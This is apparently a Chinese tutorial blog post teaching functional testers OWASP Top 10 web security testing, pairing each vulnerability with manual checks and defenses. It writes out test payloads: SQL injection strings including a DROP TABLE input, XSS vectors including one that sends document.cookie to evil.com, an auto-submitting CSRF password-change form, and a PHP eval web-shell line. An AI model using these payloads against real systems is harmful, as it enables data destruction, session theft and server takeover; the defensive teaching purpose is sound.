安全测试实战:OWASP Top 10漏洞检测与防御全覆盖

发布时间:2026/7/1 16:01:52

安全测试实战:OWASP Top 10漏洞检测与防御全覆盖 前言安全测试是安全工程师的事测试不用管——这是很多测试新人的误区。但实际上安全测试的第一道防线就是功能测试人员。SQL注入、XSS、越权这些漏洞90%都可以通过手工测试发现不需要什么黑客技术。本文从OWASP Top 10讲起覆盖认证鉴权、越权、SQL注入、XSS、CSRF、文件上传、敏感信息泄露、会话管理、CSP/HTTPS等安全测试维度每种漏洞都配有原理 → 手工检测方法 → 防御方案的完整闭环附可直接套用的50项安全测试Checklist。系列文章导航[测试用例设计方法论从等价类到因果图的实战指南][测试策略与测试计划制定新项目如何规划测试][从需求到高质量用例手把手教你拆解需求][Bug报告与缺陷管理规范如何写出让开发无法拒绝的Bug单][APP专项测试实战安装/卸载/弱网/兼容/中断/埋点全覆盖][Web端测试实战含接口测试核心章节][接口自动化测试实战PostmanNewmanJenkins从入门到落地][性能测试入门实战JMeter从零到压测报告全覆盖]← 本文安全测试实战持续更新中…… 一、为什么测试必须懂安全1.1 安全漏洞的代价真实案例漏洞类型损失某电商用户数据泄露SQL注入数百万用户数据被拖库某社交平台蠕虫传播XSS半天内感染百万用户某支付平台资金被盗CSRF用户账户资金被转走某企业后台被控制文件上传服务器被植入木马某SaaS平台数据越权水平越权A公司能看到B公司的数据一句话一个安全漏洞可能让整个团队的努力归零。1.2 测试 vs 安全的边界维度功能测试安全测试正常输入✅ 主要测试✅ 也测异常输入✅ 测一部分✅ 重点测试恶意输入❌ 通常不测✅ 核心内容权限校验✅ 基本流程✅ 深入测试数据保护❌ 通常不关注✅ 核心关注安全测试不是要你成为黑客而是要学会「换个角度用系统」。 二、OWASP Top 102021版速览OWASPOpen Web Application Security Project每3-4年发布一次十大Web安全风险是全球安全测试的「圣经」。排名风险一句话解释测试能发现吗A01访问控制失效普通用户能干管理员的事✅ 手工可测A02加密机制失效密码明文传、明文存✅ 抓包可测A03注入攻击SQL注入、命令注入✅ 手工可测A04不安全设计架构设计就有安全缺陷⚠️ 需评审A05安全配置错误开了不该开的功能/端口⚠️ 需运维配合A06脆弱和过时的组件用了有漏洞的旧版本⚠️ 需依赖扫描A07认证和鉴权失效登录能绕过、token可伪造✅ 手工可测A08软件和数据完整性失效未校验的更新包/反序列化⚠️ 需工具A09安全日志和监控失效被攻击了都不知道⚠️ 需运维配合A10SSRF服务端请求伪造服务端被当跳板攻击内网✅ 部分可测测试能独立发现的6项A01、A02、A03、A07 占了大头加上 XSS归在A03、CSRF归在A01、文件上传归在A05测试人员能覆盖80%以上的常见漏洞。 三、认证与鉴权测试A01 A073.1 认证测试你是谁认证就是验证「你是不是你声称的那个人」。测试点测试方法预期结果弱密码注册/修改密码时输入123456、password应提示密码强度不够暴力破解同一账号连续输入错误密码20次应触发锁定或验证码空密码登录时不输入密码应拦截密码明文传输F12抓包看登录请求密码不应明文出现在请求中记住我功能勾选记住我退出后重开浏览器token应有过期时间不应永久有效多设备登录同一账号在Chrome和Firefox同时登录应有互踢或提示逻辑验证码绕过不传验证码参数或传空值应校验失败暴力破解测试脚本示例Postman Runner准备20组错误密码 → Postman Collection Runner → 迭代20次 预期第5次开始出现验证码第10次账号被锁定3.2 鉴权/越权测试你能干什么越权是测试人员最容易发现的高危漏洞也是面试最爱问的。3.2.1 垂直越权低权限做高权限的事测试方法步骤URL越权普通用户登录→浏览器地址栏直接输入管理页面URL如/admin/userList接口越权普通用户登录→Postman直接调管理员接口如DELETE /api/user/123参数越权普通用户登录→请求中将role参数改为adminbash# 垂直越权测试示例 # 用普通用户token调管理员接口 # 1. 普通用户登录获取token POST /api/user/login {username:normal_user,password:123456} # 返回 token eyJ... # 2. 用普通用户token尝试删除用户管理员才能操作 DELETE /api/user/delete/456 Authorization: Bearer eyJ... # 预期返回403 Forbidden而不是2003.2.2 水平越权A用户访问B用户的数据测试方法步骤ID遍历用户A登录→查看自己的订单详情/order/100→修改URL为/order/101参数篡改请求中将userId改为其他用户的ID批量越权用脚本遍历ID1到100看能否获取到所有用户数据bash# 水平越权测试示例 # 用户A(token_A)查看用户B的订单 GET /api/order/detail?orderId1001 Authorization: Bearer token_A # token_A属于用户AorderId1001属于用户B # 预期返回403或提示无权访问而不是返回订单详情3.2.3 越权测试Checklist角色越权方向测试操作未登录用户→ 需登录页面直接访问需登录的URL普通用户→ 管理员功能访问管理页面/调用管理接口普通用户A→ 普通用户B数据修改请求中的用户ID/订单ID部门A用户→ 部门B数据修改请求中的部门ID租户A用户→ 租户B数据修改请求中的租户ID 四、SQL注入测试A034.1 什么是SQL注入用户输入被拼接到SQL语句中执行导致恶意SQL被数据库执行。正常查询SELECT * FROM users WHERE name 张三 恶意输入 OR 11 -- 拼接后SELECT * FROM users WHERE name OR 11 -- 结果返回所有用户数据4.2 手工检测方法测试输入预期行为有漏洞预期行为安全 OR 11返回全部数据正常查询或报参数错误 OR 11 --返回全部数据正常查询或报参数错误 UNION SELECT 1,2,3 --返回额外的1,2,3数据正常查询或报参数错误admin --不需要密码就登录提示密码错误1; DROP TABLE users; --表被删除正常查询或报参数错误 AND 11 --正常返回恒真条件正常查询 AND 12 --返回空恒假条件正常查询 OR SLEEP(5) --响应延迟5秒盲注正常响应时间数字型注入测试URL参数是数字时原URL/api/product?id1 测试/api/product?id1 AND 11 → 正常 测试/api/product?id1 AND 12 → 无结果说明存在注入 测试/api/product?id1 OR 11 → 返回全部4.3 防御方案方案说明参数化查询使用 PreparedStatement不拼接SQLORM框架MyBatis用#{}而非${}输入校验白名单校验过滤特殊字符最小权限数据库账号只给必要权限禁用DROP/TRUNCATEWAFWeb应用防火墙拦截SQL注入特征 五、XSS跨站脚本测试5.1 三种XSS类型类型存储位置攻击方式危害反射型XSS不存储构造恶意URL诱导点击中存储型XSS存到数据库提交恶意脚本所有访问者中招高DOM型XSS前端JS通过URL参数操作DOM中5.2 手工检测方法测试输入在哪里测试预期行为有漏洞预期行为安全scriptalert(1)/script搜索框/评论/留言/用户名弹窗被转义或过滤img srcx onerroralert(1)所有输入框弹窗被转义或过滤svg onloadalert(1)所有输入框弹窗被转义或过滤a hrefjavascript:alert(1)click/a富文本编辑器点击弹窗过滤javascript协议scriptalert(1)/scriptURL参数弹窗被转义;alert(1);//URL参数弹窗被转义img srcx onerrorfetch(http://evil.com?cookiedocument.cookie)留言区Cookie被发送到外部被过滤存储型XSS完整测试流程1. 在留言板提交scriptalert(document.cookie)/script 2. 刷新页面看是否弹窗并显示Cookie 3. 换个浏览器模拟其他用户访问同一页面 4. 如果弹窗 → 存储型XSS高危漏洞反射型XSS测试原URL/search?keyword手机 测试/search?keywordscriptalert(1)/script 如果页面直接输出scriptalert(1)/script并弹窗 → 反射型XSS5.3 防御方案方案说明输出编码HTML实体编码lt;scriptgt;输入过滤过滤script、onerror、javascript:等CSP策略Content-Security-Policy 头禁止内联脚本HttpOnly CookieCookie设置HttpOnlyJS读不到X-XSS-Protection浏览器XSS过滤器旧方案 六、CSRF跨站请求伪造测试6.1 什么是CSRF攻击者诱导用户点击链接利用用户已登录的状态以用户身份发送恶意请求。场景 1. 用户登录了 bank.comCookie有效 2. 用户又打开了一个恶意网站 evil.com 3. evil.com 页面中有一个隐藏表单自动提交到 bank.com/transfer?toattackeramount10000 4. 因为浏览器会自动带 Cookiebank.com 以为这是用户的操作执行了转账6.2 手工检测方法测试步骤说明1. 抓取核心请求F12→Network找到修改密码/转账/下单等敏感操作的请求2. Copy as cURL右键请求→Copy→Copy as cURL3. 构造攻击页面创建一个HTML页面包含自动提交的表单4. 模拟攻击保持登录状态打开攻击页面5. 看结果如果操作被执行 → CSRF漏洞CSRF测试HTML模板htmlhtml body h1恭喜中奖点击领取/h1 !-- 隐藏表单自动提交 -- form idcsrf actionhttps://target.com/api/user/changePassword methodPOST input typehidden namenewPassword valuehacked123 input typehidden nameconfirmPassword valuehacked123 /form scriptdocument.getElementById(csrf).submit();/script /body /html接口层面检测1. 用Postman调修改密码接口不传Referer头 2. 用Postman调修改密码接口伪造Referer为其他域名 3. 如果都能成功 → 没有CSRF防护6.3 防御方案方案说明CSRF Token服务端生成随机token每次请求校验Referer校验校验请求来源域名SameSite CookieCookie设置SameSiteStrict/Lax验证码/二次确认敏感操作加验证码或二次密码自定义请求头前端自定义Header后端校验 七、文件上传测试7.1 文件上传漏洞危害上传WebShell一句话木马控制服务器上传病毒文件感染其他用户上传超大文件导致磁盘耗尽上传覆盖已存在的关键文件7.2 手工检测方法测试点测试方法预期结果文件类型-前端绕过上传.php文件用BurpSuite拦截改后缀为.jpg放行后再改回.php应拦截文件类型-服务端上传.php、.jsp、.asp、.exe、.sh应全部拦截MIME类型伪造上传PHP文件BurpSuite改Content-Type为image/jpeg服务端不应只依赖MIME校验双扩展名上传shell.php.jpg、shell.jpg.php应正确识别并拦截文件大小上传1KB/10MB/100MB/1GB文件应在限制内文件名上传文件名含../、..\、空字节%00应过滤路径穿越文件内容上传图片但图片内容嵌入了?php eval($_POST[cmd]);?应有内容检测并发上传同时上传100个文件不应崩溃覆盖上传上传与已有文件同名的文件应有重命名策略0字节文件上传空文件应拦截或正常处理WebShell检测测试php// 创建 test.php内容如下 ?php echo shell_test_12345; ? // 如果上传后能通过浏览器访问到这个文件并输出 shell_test_12345 // → 严重安全漏洞服务器可能被完全控制7.3 防御方案方案说明白名单校验只允许特定后缀jpg/png/pdf/docx等文件头校验读取文件魔数不信任MIME和扩展名重命名存储用UUID重命名不保留原始文件名隔离存储文件存在专门的文件服务器或OSS不在应用服务器权限控制上传目录禁止脚本执行权限病毒扫描接入ClamAV等杀毒引擎 八、敏感信息泄露测试A02 A048.1 常见敏感信息泄露场景泄露场景测试方法风险响应中返回密码登录/注册接口的响应高响应中返回手机号/身份证用户信息接口高错误页面暴露堆栈故意触发500错误中HTML注释中的信息查看页面源码中JS文件中的密钥查看前端JS源码高接口返回多余字段查看列表接口是否返回了不该返回的字段中Github泄露搜索公司名password/key/secret高robots.txt暴露路径访问/robots.txt低目录浏览访问/uploads/、/backup/等中API文档暴露访问/swagger-ui.html、/doc.html中测试实战bash# 测试1看响应是否包含敏感信息 POST /api/user/login {username:admin,password:123456} # 响应中不应返回password字段 # 测试2看错误页面是否暴露信息 GET /api/user?id9999999 # 不存在的ID # 不应返回java.sql.SQLException at com.example.UserController... # 应返回{code:404,message:用户不存在} # 测试3检查常见敏感路径 访问/swagger-ui.html、/actuator、/.env、/config.json、/backup.zip8.2 防御方案方案说明最小返回原则接口只返回必要字段统一错误页面生产环境不暴露异常堆栈敏感信息加密存储密码加盐哈希、手机号脱敏前端代码审查不在前端JS中硬编码密钥敏感路径加权限Swagger/Actuator等限制访问 九、会话管理测试9.1 测试点测试点测试方法预期Session ID复杂度多次登录对比Session ID应有足够随机性不可预测Session固定登录前获取Session ID登录后不变登录后Session ID应更新Session超时登录后闲置30分钟再操作应提示重新登录退出销毁Session退出登录后用旧Session ID访问应返回401Cookie安全属性查看Set-Cookie头应有HttpOnlySecureSameSite并发Session同一账号在两台设备登录应有互踢或限制策略Session传输安全抓包看Session ID不应出现在URL参数中Cookie安全属性检查Set-Cookie: sessionIdabc123; HttpOnly; Secure; SameSiteStrict; Max-Age3600 ✅ HttpOnlyJS无法读取防XSS窃取 ✅ Secure仅HTTPS传输 ✅ SameSiteStrict防CSRF ✅ Max-Age有过期时间 十、安全响应头测试10.1 必备安全响应头响应头作用推荐值Content-Security-Policy防XSSdefault-src selfX-Frame-Options防点击劫持DENY或SAMEORIGINX-Content-Type-Options防MIME嗅探nosniffStrict-Transport-Security强制HTTPSmax-age31536000; includeSubDomainsReferrer-Policy控制Referer信息strict-origin-when-cross-originPermissions-Policy控制浏览器特性camera(), microphone()检测方法bash# 用curl查看响应头 curl -I https://target.com # 或 F12 → Network → 点击请求 → Headers → Response Headers # 逐个核对以上安全头是否存在 十一、安全测试Checklist50项认证与鉴权 ✅弱密码注册被拦截暴力破解有锁定/验证码机制密码不明文传输HTTPS 加密密码不明文存储数据库看密码字段验证码不可绕过记住我Token有过期时间退出登录后Token/Session失效普通用户无法访问管理页面URL越权普通用户无法调用管理接口接口越权A用户无法访问B用户的数据水平越权A用户无法修改B用户的数据水平越权注入攻击 ✅搜索框SQL注入防护 OR 11登录框SQL注入防护admin --URL参数SQL注入防护数字型搜索框XSS防护scriptalert(1)/script留言/评论XSS防护存储型URL参数XSS防护反射型富文本XSS过滤javascript:、onerror命令注入防护输入框输入; ls -laCSRF与请求伪造 ✅敏感操作有CSRF Token或Referer校验敏感操作需要二次确认/验证码Cookie设置了SameSite属性接口校验了请求来源文件上传 ✅脚本文件.php/.jsp/.asp被拦截可执行文件.exe/.sh被拦截前端绕过BurpSuite改后缀被服务端拦截MIME类型伪造被拦截超大文件被拦截文件名路径穿越../被过滤文件上传目录无脚本执行权限敏感信息 ✅接口响应不返回密码接口响应不返回完整手机号/身份证或脱敏错误页面不暴露代码堆栈前端JS无硬编码的密钥/TokenSwagger/Actuator等调试页面不对公网开放目录浏览功能已关闭robots.txt不暴露敏感路径会话管理 ✅Session ID足够随机不可预测登录后Session ID更新Session超时后需重新登录退出后Session被销毁Cookie设置了HttpOnly Secure SameSiteSession ID不在URL中传输安全响应头 ✅Content-Security-Policy 已配置X-Frame-Options 已配置X-Content-Type-Options 已配置Strict-Transport-Security 已配置全站HTTPSHTTP自动跳转HTTPS⚠ 十二、新手常见踩坑与避坑指南坑后果正确做法安全测试留到最后没时间测带漏洞上线每个迭代都分配安全测试时间只在输入框测XSS遗漏URL参数/请求头等注入点所有用户可控的输入都要测用真实生产数据测试可能污染真实数据测试环境用测试数据对生产系统做注入测试可能真的删库只在测试环境做破坏性测试只测前端校验绕过前端直接调接口接口层必须独立校验忽略HTTPS强制中间人攻击窃取数据确认HTTP自动跳转HTTPS以为加个WAF就安全了绕过WAF的技术很多应用层网络层多层防御测完不跟开发沟通漏洞修了一半留后门每个漏洞讲清原理给出修复建议不关注第三方组件用了有漏洞的旧版本定期依赖扫描 十三、安全测试面试高频考点问题参考回答要点XSS和CSRF的区别XSS利用用户对网站的信任在页面注入脚本CSRF利用网站对用户的信任伪造用户请求。XSS是输出问题CSRF是请求校验问题水平越权和垂直越权的区别水平越权是同级用户之间越权A看B的数据垂直越权是不同级别越权普通用户做管理员的事SQL注入怎么测在输入框输入 OR 11等测试Payload看是否返回异常数据关注报错信息是否暴露数据库信息用时间盲注SLEEP测试无回显场景文件上传怎么测类型脚本/可执行文件、大小、MIME伪造、双扩展名、路径穿越、文件内容检测、并发上传怎么防CSRFCSRF Token Referer校验 SameSite Cookie 二次确认。面试建议展开讲CSRF Token的工作原理安全测试在什么阶段介入需求阶段做安全需求分析开发阶段做代码审计测试阶段做安全测试上线前做渗透测试上线后做安全巡检 十四、安全测试学习路径阶段时间学习内容入门第1周理解OWASP Top 10 手工测试XSS/SQL注入/CSRF上手第2周越权测试 文件上传测试 敏感信息泄露检测进阶第3-4周BurpSuite入门 抓包改包 会话管理测试熟练第5-6周安全响应头 CSP策略 HTTPS配置 渗透测试方法论深入第7-8周OWASP ZAP自动化扫描 SQLMap自动化注入专家后续代码审计 漏洞挖掘 CVE研究 安全架构设计 十五、记忆口诀安全测试六句诀认证鉴权第一步越权横向纵向查 注入XSS和CSRF输入输出都要抓 文件上传莫轻视脚本木马藏里面 敏感信息别泄露密码密钥不乱挂 会话管理要谨慎超时销毁加属性 安全响应头配齐层层防御护系统写在最后安全测试不是玄学也不是黑客专属技能。本文从测试人员的视角覆盖了OWASP Top 10知道要测什么认证鉴权测试弱密码/暴力破解/水平越权/垂直越权注入攻击测试SQL注入/XSS/CSRF的原理检测防御文件上传测试10个测试维度全覆盖敏感信息泄露响应/错误页/前端代码/调试页面会话管理测试Session/Cookie安全属性安全响应头6个必备响应头配置50项Checklist可直接用于测试执行安全测试的核心思维就是永远不信任用户的输入永远不假设请求是合法的。 如果觉得有帮助欢迎点赞、收藏、关注你的支持是我持续输出的动力

相关新闻